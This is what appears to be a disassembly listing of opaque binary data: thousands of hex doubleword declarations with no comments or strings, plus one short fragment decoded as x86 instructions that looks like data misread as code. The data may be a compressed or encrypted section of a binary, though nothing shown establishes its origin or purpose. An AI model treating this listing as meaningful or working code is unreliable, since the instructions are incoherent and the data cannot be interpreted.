dd 83900A5Fh, 0CAD59DBBh, 8132FBBh, 878904EBh, 894F911Ch
dd 3A386188h, 0E6C8210Eh, 5ED4A71h, 0FD31E5EFh, 0AD00C112h
dd 7037DD30h, 0F807050h, 5165E384h, 4061630h, 317A4844h
dd 700C84FEh, 393DE987h, 9AC38380h, 291507CBh, 0F3556C38h
dd 0E73B2B75h, 6819F3F7h, 0E7D65917h, 54C7F434h, 581CAC42h
dd 75D2062Eh, 32CD913Eh, 98A5BC13h, 38834357h, 418EB988h
dd 231F3A68h, 0FDBA0000h, 2906331Eh, 215A13D3h, 73D414D8h
dd 694C4094h, 40B4EB2Eh, 0DA1FE7E6h, 860F3B06h, 226F3430h
dd 0EF7E0AC4h, 0C27642Eh, 0F1C3F700h, 5801B5DBh, 0A71048F9h
dd 0CA881793h, 1FCE5608h, 5EED4A5Ch, 0F59938Ah, 4B44A763h
dd 0F1D9D146h, 0C9EE61C6h, 0B45000E4h, 7FECF8DFh, 0C3F43FA3h
dd 29CC11Ch, 6FF8E9E1h, 5C189A59h, 0B35A54EFh, 1680465h
dd 0C22B277h, 101B1DE9h, 82307BBh, 0C0BE7174h, 29A5707Dh
dd 78E9DE0Ah, 0EC86EC3Eh, 0E93B6602h, 129E8A65h, 0A08CEC5Eh
dd 0CE12AECh, 24AD9413h, 150C364Eh, 7D6F72Ah, 24135A55h
dd 8916507Fh, 0C03205E0h, 4C3A66BAh, 0C9106ED0h, 9D5B282Eh
dd 0EF392398h, 39CF9DC7h, 2B8ACCBAh, 0C001EDFAh, 0C2FE05EAh
dd 60A7FD70h, 0B850408Ah, 0A228584Eh, 573FE20h, 0E903E00Ah
dd 5B85A9B2h, 0A400D101h, 0E506A5F1h, 0F02D3A74h, 8A76BA9Fh
dd 50705C8h, 5610E2E9h, 1C6521EAh, 4EC704C8h, 0BBB00997h
dd 0B1224968h, 0B05083A7h, 3081B186h, 582974C1h, 8F88B093h
dd 0F9C245Eh, 7FCF572Dh, 0B2291364h, 6FBF0065h, 0C10D1556h
dd 10276EFh, 2EE02CBEh, 86F7299Dh, 0D886E95Bh, 94587094h
dd 5F4808D0h, 2598BB01h, 2FE83E1Dh, 396B9ADAh, 0EA9EFEC2h
dd 0CF07CC0Fh, 0E307C116h, 56DBF708h, 0FACAB2h, 0B94CC2BDh
dd 64D533Fh, 3EDC1DDh, 0F581030Ah, 42F85E0Dh, 0BE96B0B7h
dd 2904BB3Ch, 0CF215DE9h, 2B8AD9C4h, 67EE110h, 4F72880Fh
dd 0F48E3517h, 5315286Eh, 6787BB00h, 0D3F70776h, 43F30681h
dd 0AADB0DF9h, 0A484E92Eh, 16EE83BEh, 326DA048h, 0F743010Ch
dd 54267A41h, 9A17E287h, 4B494E0Ch, 6C463114h, 2C2206h
dd 72C122EAh, 2458C289h, 123D631h, 126BA0CEh, 0CD0C811Eh
dd 46085178h, 724B8680h, 5E9C2A5h, 0F60434EBh, 0E6C0BA0Bh
dd 0C684A204h, 124009EDh, 0D654E7E9h, 0A9828E6h, 719EB27h
dd 217F899Bh, 0C9DAE92Bh, 759ECF50h, 0B86D1808h, 0E8310B9Ah
dd 49048B4Bh, 0C3F35BC4h, 80555C84h, 0DC621627h, 0F5893100h
dd 8E5C15Eh, 1DCD0781h, 60325714h, 74784DC5h, 2394067Fh
dd 0A58BD08h, 32E9F328h, 0C0F7808Dh, 0C1B9E69Ch, 0F528C4E6h
dd 59EEC05Ah, 1202B2A1h, 25A95066h, 0EE051BE9h, 0E0C27455h
dd 0E148E88h, 48E20D11h, 0E89918D6h, 586A686Ah, 57C12962h
dd 14582E9h, 0A446F75Bh, 0D1DB0E08h, 1B4181E3h, 201AFC64h
dd 44071C20h, 28E910B8h, 595A39Bh, 0CC9CCB41h, 495048C6h
dd 2858490Fh, 48160A10h, 133648D3h, 0A1234E5Fh, 0DAF6B04h
dd 16948A3Ch, 582DE962h, 7468135Bh, 87EFC87Dh, 0BA20339Ah
dd 215C0CE5h, 89E98BC1h, 37F1E75Ch, 6362ED2Bh, 0E1B4EB6Bh
dd 15FC8103h, 889A12E7h, 0EA05C231h, 0C4940742h, 211B2225h
dd 191EFEE4h, 43A37697h, 0ED2CAC4Ah, 847A73C1h, 59C83110h
dd 751F5184h, 1C28558Ch, 285DE0B8h, 41A92784h, 24B93966h
dd 0F24AECA2h, 0D4EF4614h, 255E8BB1h, 0E6405C35h, 63750CB8h
dd 6FEAA113h, 70B459h, 54FB67FFh, 4A8A8A8Bh, 0D1E2C970h
dd 4F217390h, 0D22C1C68h, 2E68686Ch, 0CB4247B1h, 0DA026912h
dd 11E06D11h, 0ABA3E6C1h, 0B13863C8h, 19D135Ch, 0F2A52167h
dd 85254AE9h, 0C1EFF821h, 4E290FADh, 530B969Eh, 2B8FC118h
dd 584C321Ch, 14201507h, 0CD0C17C9h, 3CCB2521h, 0D247D49h
dd 34FA4A13h, 0D4F38486h, 503BB3FFh, 2504A5EBh, 0EEC15F99h
dd 0F2E6E880h, 0A12EB030h, 0BD640B10h, 6A68BAF8h, 962E56E3h
dd 49125334h, 3B485CE7h
dd 18C0F310h, 2F74EA81h, 2D0A7B84h, 0C7224A1Ah, 29039156h
dd 1FB1EBDFh, 0B9FA099Bh, 0F1243AFh, 7590E06Ah, 2181C6B9h
dd 0EB04A038h, 0B006291Ch, 9A59E951h, 0E5307550h, 0AAC9EF37h
dd 48132C2Ch, 0CAC001E3h, 7029CCD4h, 0F3961DC9h, 530F0501h
dd 0C7F07A44h, 9033E258h, 6316C0Ah, 64285C0Dh, 0C4F6CC88h
dd 38C6E1C0h, 267A6071h, 20E3DE01h, 0EAE92608h, 5F9F41h
dd 0F27C7BF7h, 8D150F17h, 18E45186h, 0C50B01F1h, 66588002h
dd 9CC8851Fh, 42C3FDCCh, 24BD0055h, 0BB1DD20Eh, 0CE032FF2h
dd 5DEB3125h, 1C21D8BAh, 0B8DAF038h, 28284A39h, 63450584h
dd 79BF8451h, 244281E4h, 5BE7C1h, 0F4E638C7h, 5E9489EBh
dd 256BB008h, 62E6E80Ah, 0EC660D0h, 559E58F0h, 7E3C001h
dd 28D4B551h, 805902EBh, 0D98857F3h, 47B3D5E0h, 0DE29E91Ah
dd 0F1FB912Eh, 9E598674h, 0C10F96DAh, 70D829B0h, 4682427Dh
dd 3050188h, 29061E0Eh, 459D43C8h, 0B35AE737h, 6B8702A2h
dd 7286FD46h, 0D0F71F08h, 64EA1295h, 95EFE295h, 7EF1835h
dd 0D3ED914Dh, 4C1C8AB2h, 98275AF4h, 886D02C9h, 5A6D921h
dd 803A200Ah, 124FD38Ch, 0DE8C065Ch, 2898B5F9h, 7CAC4505h
dd 4FFB5E11h, 5834BE00h, 268F5036h, 10232047h, 0F97E505Fh
dd 6CED021Eh, 40FB80DAh, 0F203AD1h, 0F901727Fh, 7908A81Fh
dd 0B06998Bh, 0E8C8EC6Bh, 578064BAh, 1695EC52h, 91388670h
dd 9330CBDFh, 3B95ED99h, 77ECBA8Dh, 1B07926Dh, 4D9F7F1h
dd 0C6377602h, 4089D7B1h, 0BC3B9D5h, 311A3F2Fh, 6FE938E0h
dd 19031719h, 847C1A9h, 0E4157DD2h, 1BBE0EE9h, 348170B0h
dd 20CC5629h, 54E75BB5h, 381BA1DCh, 5C06B1EAh, 521AC804h
dd 0FE20B29Ah, 9B5198F5h, 7F38BA75h, 0D852C81Bh, 0D4B3F4Bh
dd 0C7FE81EFh, 33C10E53h, 62B6FE40h, 1A3A4D5Dh, 0E164445Bh
dd 0F01D1E5Ah, 0CD1235CAh, 5E85E39Fh, 2DC023D2h, 4C711058h
dd 8840817Bh, 84590CC7h, 357CEFD3h, 559259B9h, 0AE7B2C09h
dd 2FDAD4B6h, 324F809Eh, 6201247Ch, 0D7F60930h, 0C0E0688h
dd 0BE5146E9h, 999BC401h, 5EF22974h, 0B2DD7CDh, 93851126h
dd 8CFDC521h, 0D968F221h, 9208156Ch, 0EAC0044Eh, 21908206h
dd 0B3097DD9h, 0BF909D1h, 2D3AE05Fh, 6E0C1DECh, 56714222h
dd 9D5802FCh, 64200783h, 30B893EBh, 0F5815D0Dh, 0ED95E603h
dd 0ECA4E9BBh, 9D8102ACh, 69185866h, 0C16410BCh, 879A5A27h
dd 0B4323B41h, 0A80BC437h, 1E12ED6h, 0C3285BD8h, 6F5A7041h
dd 39456800h, 0D1B97954h, 0BF167360h, 502E7B0Eh, 3CCDA38h
dd 0E9705A0Ch, 7A4CF2AFh, 0F38712D6h, 1056EC01h, 0D5E878A2h
dd 6CE50381h, 683F340Ah, 301B7B48h, 0D587E42Ch, 2C06D44Ah
dd 46A9EB07h, 4C5F5F7h, 1038674Bh, 0A9C02096h, 0CF32540Fh
dd 0CD4C5451h, 6F372E68h, 0A66A30h, 48916A99h, 4EB238E9h
dd 0D1425E94h, 6697A07h, 5A4025A4h, 75207D8Bh, 85D9F374h
dd 7E0FC834h, 0C406F82h, 6D8CC63Dh, 719852DBh, 5A611F64h
dd 17932AC0h, 1EE09094h, 0F4082454h, 0BDFA89D7h, 6856850Fh
dd 0B5CD607Dh, 6A413678h, 6429276h, 0CDAB8731h, 4A02976h
dd 2E6478F9h, 79593682h, 96E99E07h, 0EC93292Bh, 1FA2319Bh
dd 29174052h, 72D59CFh, 80E7D660h, 0BE0BF281h, 8EA36590h
dd 0B509306Dh, 258566FCh, 4D8C40BBh, 0D1F7CD87h, 5D515517h
dd 7EED6000h, 2C2D6D3Dh, 11DFEE01h, 4FF60511h, 821D7F3Fh
dd 0B72F7B82h, 5E2A6136h, 0D05C8774h, 0E6176ACFh, 59F94EBFh
dd 962CD003h, 0AF904CFAh, 25936E9h, 0A49992E9h, 0E09312B9h
dd 50C10B55h, 0B78F1FC8h, 0F3EBCC60h, 0B0A5A888h, 12EB9A9Fh
dd 304BAB68h, 71CFE934h, 0D12C14B2h, 21676E5h, 454C8103h
dd 830FF035h, 8183BC2Bh, 6C3E44F5h, 452E2007h, 0C05B5380h
dd 0A538DD32h, 92C95929h, 0BF50103Ch, 7653F644h, 7F6C90D1h
dd 740A1351h, 0F7A64021h, 4D30229Ah, 14CA294Dh, 8452241Bh
dd 9AA351ADh, 410EE944h, 21F7F9FEh, 91788917h, 9A53642Bh
db 0A0h, 12h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add [ebx], dl
xchg eax, edi
push 48412895h
sub dword ptr [ebx], 0Dh
xor ecx, 0CDDC1593h
pop ecx
and al, 57h
push ecx
jmp far ptr 0E973h:0EA696000h
; ---------------------------------------------------------------------------
db 2Bh, 5Fh, 3Bh
dd 82B6AC77h, 6A9800Dh, 0BA008677h, 184D0185h, 9A2DB5E9h
dd 0F64F0FAAh, 0BB7C986h, 6AB0553Ch, 122674BAh, 30CAD3Ch
dd 0D25C3275h, 7F46A3B7h, 8D02BD30h, 0D2012C6h, 0CE010365h
dd 581164F8h, 106A8596h, 2180B920h, 3092D801h, 54565B12h
dd 183D172h, 6C78F868h, 11C7C43Ch, 0FB534498h, 92968F60h
dd 0C1592C00h, 850F03E0h, 0A300056Ah, 0D3B2F3F1h, 25CF8960h
dd 87816EE9h, 0BD5DCD8Ah, 0E1A8708Ah, 552AEE87h, 1725F7F7h
dd 0F0E9E476h, 2423965Bh, 57579E32h, 0AC1DC461h, 6C01C481h
dd 0D29F8ED1h, 0EB81EABh, 0C64CF031h, 554C5708h, 24424F74h
dd 69BEA7E9h, 0D730B686h, 68870C34h, 252174D1h, 0DFF72BC4h
dd 0CC2B98C1h, 99005302h, 0C80A295h, 8F5AD389h, 840230FEh
dd 5F3F3813h, 0E9BA9058h, 0CDF76CD0h, 87336812h, 49D26570h
dd 2DD6A2B7h, 0C9723C7Bh, 6A560055h, 0A5DCE15h, 18E9C589h
dd 1758BFAAh, 58128A93h, 10098BB2h, 0B4BD9FC5h, 0C08358D3h
dd 5C80E896h, 6A2CD828h, 0F8B30053h, 0B4506651h, 0E5488890h
dd 0B35C940Fh, 5C02B283h, 0E95C02A5h, 345644B3h, 1C60751h
dd 3080C9FEh, 20F7C0CDh, 0DE4A4F8Ah, 663AC29Dh, 299D281Dh
dd 0B741E81Dh, 0F8283FBCh, 88A4DC27h, 0D9CC81F5h, 0BCA08017h
dd 0E96E3E09h, 225D6BD7h, 20061C8Dh, 8C9CE570h, 1E2E01BAh
dd 0D8891B40h, 98030028h, 13FB804h, 76C300B5h, 0F73A8C4Eh
dd 0ABE9D008h, 0F4301F8h, 81673E8Ah, 0EA2CB83h, 8EF06323h
dd 9C9EE2h, 8E6C15Bh, 0D56072E9h, 25EEB938h, 69185939h
dd 2D41617Dh, 0CCF4EB80h, 0BDB43EC3h, 0B50181E8h, 69C9E94Eh
dd 0C7041125h, 0A8F46FB8h, 48E9A008h, 49BA3Fh, 64CE5B2Ah
dd 95090558h, 52C13B02h, 5EC68956h, 0DBE9041Ah, 0D28D916Ah
dd 9274FE42h, 0B8E05B29h, 307AB051h, 0E923D309h, 21C16FC8h
dd 2E7738E7h, 9EFD0FC5h, 1F0FEFA6h, 0C0CF1C0Eh, 565FFD89h
dd 741B84BEh, 0A8CC3C3Dh, 0E4780167h, 82D1B0F5h, 0E56E4008h
dd 0AF5C1F9Eh, 10CD4149h, 826F7C30h, 0CE023D26h, 0F5F6E879h
dd 2361F5E1h, 0FA24A042h, 4BE20965h, 4F0926F2h, 5DEDD949h
dd 0E61AF89Fh, 0F78BCF96h, 0F6779489h, 0B7D631Dh, 2C00BBEBh
dd 3E76C9BFh, 0CCF8114h, 154269C3h, 1A138BEEh, 8F121318h
dd 0FB895145h, 6CB136C4h, 1E4AAD20h, 0E417EE95h, 0BEA54E83h
dd 71DC4726h, 5D1B2252h, 5E4BD8F0h, 49E40E8Dh, 0D79E9508h
dd 5501F84Bh, 0C2885B5Ah, 6D7F61EEh, 29C5D581h, 0D17B961Dh
dd 198644CDh, 6863FC08h, 0A24CDFh, 28557EB9h, 0EAC9810Bh
dd 2672E75h, 0BC2834A7h, 26423B5Bh, 51863C1Eh, 81195C68h
dd 8000C393h, 0BCF071EEh, 0A101F44Ch, 0AC345455h, 0EA5B9B5Dh
dd 0C368C179h, 43D76671h, 4DA539D3h, 0B96250CEh, 1AC92BB2h
dd 5AE5A34h, 0FB6A80E3h, 0BC0DC41Eh, 9DCC4E57h, 3ED36966h
dd 0BAF5AA02h, 3FBC5904h, 300E68B0h, 4F618ABCh, 0F7F4DD1Ah
dd 0E9460CD6h, 31202A8Fh, 0AA5FF828h, 99300104h, 69804968h
dd 25EE71E9h, 9A09FAAEh, 5B12EC51h, 0DB37941Eh, 11F50A0Bh
dd 197A424h, 0CE68BC02h, 65E4741Dh, 818D4075h, 0B7419EF2h
dd 25010527h, 0BF665A3Ah, 0E0442C5Eh, 0BE666066h, 0FBE92B75h
dd 0A6BE5EB5h, 0B0072087h, 56F92E4h, 99B168B0h, 0F21DC228h
dd 0AD986978h, 0A0BB4120h, 3E7C8ED8h, 33775D4Dh, 0ED9D505Bh
dd 8A7D7EE9h, 0F019EA24h, 0B05D5300h, 6BC328F6h, 1F992EE9h
dd 5AD6236h, 20112EF1h, 82CA61C2h, 7F2A99h, 77FFE2D1h
dd 0FACA60B1h, 5C0287C4h, 16973C89h, 6168FEB0h, 5260137Ch
dd 0FA2E0058h, 0C157FB19h, 8107E200h, 18713DCAh, 2EC0A034h
dd 77CBFF54h, 9A760218h, 0E8F0E945h, 80B13F3h, 4528B0C3h
dd 52DE1E5Bh, 4FF9248Bh, 0E2097E64h, 0E9267FFAh, 469273B0h
dd 2FB13714h, 0DBE722FCh, 8142056Dh, 6A0652h, 9803EAC1h
dd 4C3F20CEh, 51F78A19h, 0F3CA0165h, 75B800C3h, 810E4176h
dd 8F03CDBAh, 143BE4Dh, 0E9107C44h, 8D2C0C49h, 555BB4D3h
dd 10C64858h, 0FF48B94Fh, 4067FD07h, 90EFB473h, 45D22DCCh
dd 68156AF6h, 787648D0h, 0C2BE59FCh, 0FBC8BD45h, 2D9B455h
dd 2A73127Bh, 0C3273752h, 5F3E911Bh, 9438F1E4h, 3CE8716Ah
dd 0EEC013B6h, 417A85A0h, 38D5F910h, 8C355BFCh, 0E529BC89h
dd 7D234993h, 0BE07A2D0h, 67725E0Ah, 0FB418CA2h, 7145253Ah
dd 44AD871Fh, 10E80BDCh, 0A368C831h, 8A5AAFE9h, 1FF88D24h
dd 0C82DB148h, 305B1311h, 2593C5C5h, 0B2839A02h, 0D8502B3Eh
dd 2F5CE910h, 0C9C15D2Eh, 316C9078h, 26E90D06h, 8746618Bh
dd 41685351h, 7054F77Eh, 0C518F39Fh, 17E45D10h, 26F5894Ah
dd 79CB4C5Bh, 60D00A18h, 2C665DCEh, 186030FFh, 0C7B2AAB8h
dd 0E094806Ah, 0ED51133Eh, 0CE7DE035h, 0EB081321h, 27E20BF7h
dd 31AB361Dh, 0DA91A450h, 0A74FE969h, 0F327403Ah, 8F73D8A5h
dd 5B580174h, 1C338639h, 6807E73Ch, 82A7762h, 9DABCBDBh
dd 0B543DB04h, 6CC4A6B5h, 4D0DE859h, 0BEC7200Bh, 0FB8D240h
dd 7D4B63F8h, 9C10914Bh, 2F1D3BC6h, 0EE9D166Ch, 0E4F754C3h
dd 0FA829D21h, 9DBA01CEh, 42433029h, 31AF4A4Ch, 0D6011199h
dd 96864C3Ch, 0C50057E2h, 18120B05h, 92EB8F0Fh, 67E91679h
dd 0C5132149h, 803A2C85h, 827D352Dh, 1CD5EA5Eh, 685F963Eh
dd 9F9E9969h, 0CBA22623h, 4E212A72h, 865EB212h, 0E1664EDEh
dd 0CB8104CDh, 0C0E860AAh, 0FEFBF340h, 7E5EFA2Ch, 2176E90Bh
dd 8B353BDh, 9F510AEh, 11186857h, 5C820286h, 47678189h
dd 65556621h, 0E9D7F0F9h, 500B7A5Eh, 81290001h, 3C11A4C7h
dd 0D7BC6D97h, 2808EF28h, 27B8295Ah, 4AE4F622h, 2FFD21F0h
dd 609612Dh, 93E91851h, 0EF68434h, 80C4FED4h, 9784F54Fh
dd 1742A4D0h, 8B83DFD3h, 0DD840B5Fh, 0E7827BABh, 2180CF3Ah
dd 88BBF480h, 0C3ECE17Dh, 0CB7B7770h, 295EB75h, 79309E08h
dd 32A72D1Ah, 62974D0Ch, 62D81166h, 0E3E9746Fh, 839A5C59h
dd 5EF2D00Ch, 1FF165Ch, 7879CF68h, 3526307Dh, 82878613h
dd 0D31A68C1h, 9C0BBD05h, 0B551C303h, 0A9EB82F7h, 566782FAh
dd 0A6F1FB3Bh, 0EAF44D33h, 322DA854h, 27B00764h, 1322ED7h
dd 97942FAh, 12344008h, 0AA50500Bh, 76484EAAh, 8B72973Ch
dd 28C27696h, 509074C8h, 4E19B151h, 64DBF9E9h, 0E602F320h
dd 35742768h, 22274364h, 0C612DBh, 0F644C794h, 67D9FC72h
dd 65574E33h, 837F9511h, 0F6F83527h, 6A276877h, 0D9DF9901h
dd 0E6046339h, 0C146256Ch, 0C456C602h, 2D0429CCh, 79845782h
dd 9C2D6686h, 21665816h, 8888179Eh, 62BB03B5h, 68113739h
dd 0CE0ED34Eh, 2B89280Ch, 8B318570h, 0E6C14F48h, 61EDE9D5h
dd 8E2A597h, 0FE01D062h, 26880FC8h, 0C0190B6Ah, 84103050h
dd 0F61E57AEh, 2A8A0CD8h, 7A3C0C23h, 80A44C34h, 2DE9F1F7h
dd 0BF81A632h, 3C6D4B41h, 73955CE6h, 1B26F87Ah, 0AF4AB73Ah
dd 904A452Fh, 16B4D6E9h, 3318BD5Bh, 0E4ED0E9h, 0D10CC590h
dd 51910436h, 0EC2B0F68h, 0E70893F8h, 0FA853E50h, 0EC3D7507h
dd 0F700A41Dh, 17546BC5h, 0C0E14BC1h, 87EC9BFCh, 0CE319F13h
dd 73EE3200h, 5E266E76h, 40CB89h, 5358C701h, 52FFDBBh
dd 9EE93AB0h, 0C2B9F9h, 60A843AAh, 4FAB890Fh, 955521F7h
dd 0D6100E16h, 48F4C43h, 5547E9FEh, 578BC9BCh, 2D3FCCD1h
dd 8E6A2343h, 0C34F0E25h
dd 0E0E39CEBh, 0EE9DA89h, 0FE616AF6h, 472C013Fh, 186ADFC4h
dd 0F216DCC6h, 0E5987Ch, 1E1B1723h, 5503EBC1h, 829BD03h
dd 0CD091AD2h, 1E34CC0h, 9AC07C2Eh, 48F87042h, 0C807F772h
dd 0D40E7C27h, 3C0810DAh, 6AC1FF5Bh, 11DC6AF3h, 65109340h
dd 0C34B715Dh, 0BE05DD0Eh, 5BDA01B8h, 1A335824h, 0B506311Bh
dd 6101E799h, 0E4AFB3F5h, 18B5F91Ch, 4B54E9CFh, 53D5D2BEh
dd 43270340h, 815E6500h, 8E1AF8F1h, 0CF8D9573h, 78842090h
dd 0E7D4530h, 2CD22AF3h, 8B70AB30h, 0D8C8D928h, 33B350Eh
dd 44CD1D40h, 455B8506h, 2D08741Ah, 0A3E0273Eh, 0C1A803E9h
dd 0C59CF668h, 1DC69D92h, 3014B7B9h, 9A34F8D3h, 0E6D071C2h
dd 0DC552015h, 67300FB0h, 0FDF195CAh, 61E02C2Eh, 0BF72405h
dd 7C5A2A6Bh, 0C2095902h, 9A51E2D1h, 42BF8F36h, 530FBFE9h
dd 6BEA678Bh, 0EE2804D1h, 845A7FB4h, 0E4CC5BDCh, 9AD27B5Ch
dd 0DD185570h, 0FE7C0027h, 3D24B129h, 0F658E9E5h, 0C91B3F4Bh
dd 0C563906Dh, 61B9E4E9h, 4096EF01h, 21475402h, 59AD7089h
dd 1282C39h, 68ED0492h, 7752358Ah, 0C4CA8450h, 72C4F1ACh
dd 0DAF6003Dh, 4068830Fh, 0EA6F806Dh, 53348B5Ah, 0B95E0974h
dd 133EEB79h, 0EE21AB0Fh, 5B29Ah, 0D373C132h, 21E7014Ah
dd 0E9080082h, 949D6ABDh, 9B9B9DC9h, 2FF9E69Ah, 62AC5644h
dd 5EC3CF89h, 5FBAD883h, 1CB31F50h, 0E1172B26h, 29A45777h
dd 0E7C15491h, 287F544h, 8A386122h, 0AD956693h, 7C4D24D5h
dd 0BD690304h, 0BBF5A681h, 5430BFD9h, 0C82B5FD3h, 0E0E3C753h
dd 4DFA70ACh, 13812165h, 0E3D78752h, 91D0E0E4h, 4C1DC6BEh
dd 0F6024B50h, 4D963EFCh, 9DDDA961h, 20D6E923h, 5C1EF6E2h
dd 18C88955h, 301AB190h, 0FCE3648h, 4948F1F3h, 83F78445h
dd 59A777ACh, 71E66D48h, 5CAB4A01h, 31F8870Fh, 0CBCD2388h
dd 274DDC31h, 5AF48A00h, 0FE9A4A95h, 0E9C178D9h, 10B229E1h
dd 52242EF3h, 0CC585AC0h, 2DFE60B7h, 0A2B459E9h, 7C2AF741h
dd 4341B1F7h, 0D574007Eh, 0F75A7828h, 5352DF19h, 0B5A5774Ch
dd 70C09991h, 0C975FE10h, 804CE178h, 25B15887h, 0B0A24659h
dd 48B2E6AFh, 0BC047B4Ch, 0A8D7E3E9h, 6F098203h, 8B9ED41Ch
dd 48B11FA9h, 0E122E5Ch, 98F639A9h, 0DE595426h, 92110801h
dd 1C605530h, 390A10CBh, 63650512h, 0EB0119CDh, 3AEF32D6h
dd 5D031880h, 0FAE98FC2h, 2C2B25F9h, 0B0E01069h, 1B685F09h
dd 0E8712DDAh, 0F4D54C95h, 0E7899745h, 3D1C6F19h, 0FEC9D72Fh
dd 0C862607Bh, 59542E9h, 50C2ADE6h, 0C9265C38h, 0AE8815D1h
dd 3BBA2C63h, 0C9B5A393h, 9003500Fh, 0C4B0950h, 5F073110h
dd 2E8EBF80h, 0C1201753h, 0D4621CEEh, 2530FF37h, 3BB0410Ch
dd 0F7297901h, 5FF9215Eh, 8B221C2Bh, 0BBE8CB91h, 56017F63h
dd 3455055Ch, 63E4F8Bh, 0D53F6533h, 0E65AD630h, 5DE37FF4h
dd 491D9A62h, 9D366C83h, 171B029Ch, 5ACE01h, 4F93C4F8h
dd 830A5C93h, 0F80892AFh, 0C4DA2069h, 0C0277DD4h, 474D0F4Bh
dd 8FB1574Ah, 0BC908BDCh, 59702C79h, 8000D6B5h, 0E305EEFh
dd 0B2525BF9h, 9C1569Eh, 0C461CC26h, 5BC02905h, 128BD45Fh
dd 0F2EAE673h, 0C0E45590h, 60927757h, 0B116792Bh, 3257A514h
dd 0FAEC2EFDh, 0FA1602Dh, 0AD356F81h, 0CE71CA65h, 0C00127CBh
dd 95F49422h, 6CC28793h, 50004ED4h, 483761B8h, 0D0F71E46h
dd 0D03F005h, 0E9003B6Fh, 36354076h, 0F2BEE53h, 8D93AD2Dh
dd 58C301C2h, 4B75DC1h, 1F884BC1h, 0E62D5A03h, 0D9C02FDEh
dd 0BCD859EBh, 0EAABC006h, 3FFD555Bh, 6E596FF6h, 0FE247695h
dd 6A4F3EFh, 0A043E525h, 88E302Ch, 5F74F74Dh, 14A7B52Ch
dd 9F809922h, 4CC5C782h, 29F85558h, 317DB505h, 45AA144h
dd 0D4E2C207h, 2FEEC7A7h, 4C6E08B3h, 74506804h, 0DC2DAB8Dh
dd 5ECB2233h, 0FDF36A2Eh, 0ED1755A6h, 0D7879244h, 60ECCAD5h
dd 0B2E4A6B3h, 9B8C5A26h, 76479855h, 0D683BC6h, 462ABB60h
dd 889D5FFEh, 3C07C8h, 97F33BB9h, 0BFE901F2h, 3DEA7099h
dd 24219236h, 4675854h, 40325254h, 22050516h, 5F76DF5Eh
dd 0E90D9AA3h, 2CE73EB3h, 7E4E7965h, 0E12DF8C0h, 1653A5Ah
dd 55CAB386h, 987D82EAh, 2942B40Fh, 8A81CC2h, 0AA15867h
dd 0CEE96191h, 561B092Ah, 1EAAFE00h, 577D0820h, 5E78012Ch
dd 281DB683h, 2AF9D7F0h, 0C3083B83h, 3432451h, 2C521FCAh
dd 85EAB6D9h, 0ED835B50h, 6E760981h, 0EDF2252Ah, 201C20D3h
dd 99677C7h, 0FE74B787h, 0E70A52B5h, 0B860FF60h, 0FFC78EEh
dd 0DD8F77Fh, 3A183200h, 25CE8C1h, 1216055Ch, 3AB0D179h
dd 58C60189h, 0E7E9F129h, 0FDD825FEh, 730AA5ADh, 0BC470879h
dd 0BA528530h, 35C1E5Bh, 0B062650Ah, 0A516F9F9h, 2BE3045h
dd 0BE502EA2h, 0AE085053h, 596B181Eh, 39960C52h, 0C6B48651h
dd 2D015C56h, 38AD0B28h, 0A205C030h, 0C63E8C07h, 6D0700A3h
dd 4B30BF7Bh, 4397F416h, 0B988FD2Ah, 96AE92C2h, 0B7A4EFB1h
dd 1339BB03h, 0B211EA3Dh, 6DEF02AFh, 84030F0Ah, 31071EC3h
dd 0E08775CAh, 589050DBh, 38D46816h, 0B900A1B2h, 286D7CF6h
dd 0A19E0BE9h, 0F4E19B25h, 75F20B95h, 98C330C4h, 2850B9B8h
dd 2CF3141Ch, 84BAE38Ah, 0C4CA0145h, 0D3084311h, 44E40381h
dd 0A4EDE1E9h, 0E52AFD48h, 2EF37294h, 22655BDFh, 0C874880h
dd 0C4E2412Dh, 5452B3DCh, 0D50147Bh, 2C10B948h, 7C011AB6h
dd 5C6F214h, 584349E2h, 1A7FC25Fh, 6E187E8h, 181413Dh
dd 0C854FA8Dh, 0A291CB31h, 268C4E63h, 675B4CD9h, 0C8C8DD12h
dd 0B85327h, 812F933Bh, 0C4D16803h, 0C02A2BA7h, 6367EF48h
dd 51FB5C5Ch, 5B073A97h, 0A7745055h, 2D59C6D0h, 91A16E4h
dd 0E7CBA031h, 446A2041h, 62B23ABh, 4DAF6h, 0FE07B353h
dd 80EBD0C3h, 0C05C1BE4h, 0E33C76B9h, 9E70FD5Bh, 0D0E0DA76h
dd 0F08CE910h, 4ADCCC5Bh, 0C9243F5Fh, 9D18DBA6h, 5BD8F743h
dd 81B494BAh, 6269516Bh, 0D6EE4808h, 6C1B68A9h, 0EAC3DD0h
dd 0E122C9Eh, 530CDDD8h, 9895CC51h, 97985926h, 0EF81D85Bh
dd 16909F86h, 4F37179Fh, 1A800C70h, 32E93966h, 0C7B740D9h
dd 6DDF9F40h, 3177FB2Ch, 0F7F82158h, 0E9092E63h, 0A044FF79h
dd 0AB65A098h, 0F0005210h, 14CE3803h, 2E61CC1h, 0CAADC81h
dd 580C5935h, 619F0712h, 0C4E16906h, 4CBA0739h, 0B277106Bh
dd 0B6A913F2h, 0ED0102F0h, 74C248A8h, 0C5E1FD01h, 505F0841h
dd 55C0D683h, 0E98856EBh, 469706F0h, 0A759491Ch, 20AF0502h
dd 36427BD6h, 0E865EC86h, 8001EF22h, 0E272FA6h, 85682A5Eh
dd 0DF10D6D5h, 3A8A5E2Dh, 4BB0CB5Eh, 8B81F935h, 68CC48B4h
dd 94C77BFh, 72E99747h, 45951350h, 0F0AE31C0h, 0E99F305Eh
dd 6700864Fh, 0DC7C2BBFh, 0E7C11C2Dh, 6EFCB08h, 8D725780h
dd 29066C68h, 5493E9F9h, 90B23230h, 225E69FAh, 4C3F9A60h
dd 0B459019h, 540E6678h, 25692A60h, 0C841012Dh, 2DF024F9h
dd 2A8F917Fh, 9903A71Fh, 0D4FFC8FEh, 2D32AD1Ah, 65763402h
dd 829CDED3h, 0BE03AAEEh, 291AF1ECh, 582E65E9h, 18C29EBDh
dd 5E612D1Eh, 4807F614h, 26DF30C9h, 2C7752BDh, 54310CBh
dd 0E1A41659h, 4B4F7AD3h, 0A8E98429h, 545392D0h, 68189E5Bh
dd 0BA684906h, 9BDD31E9h, 91EEB07Fh, 307914EAh, 5E0C41AEh
dd 0F48AC13h, 6B0026Dh, 0F64E6798h, 804747B1h, 0D6F72D76h
dd 0D462EDF1h, 7B7C542h
dd 630CE9CCh, 146E0F0Dh, 9F445A07h, 0C03CB81Dh, 18FD62F6h
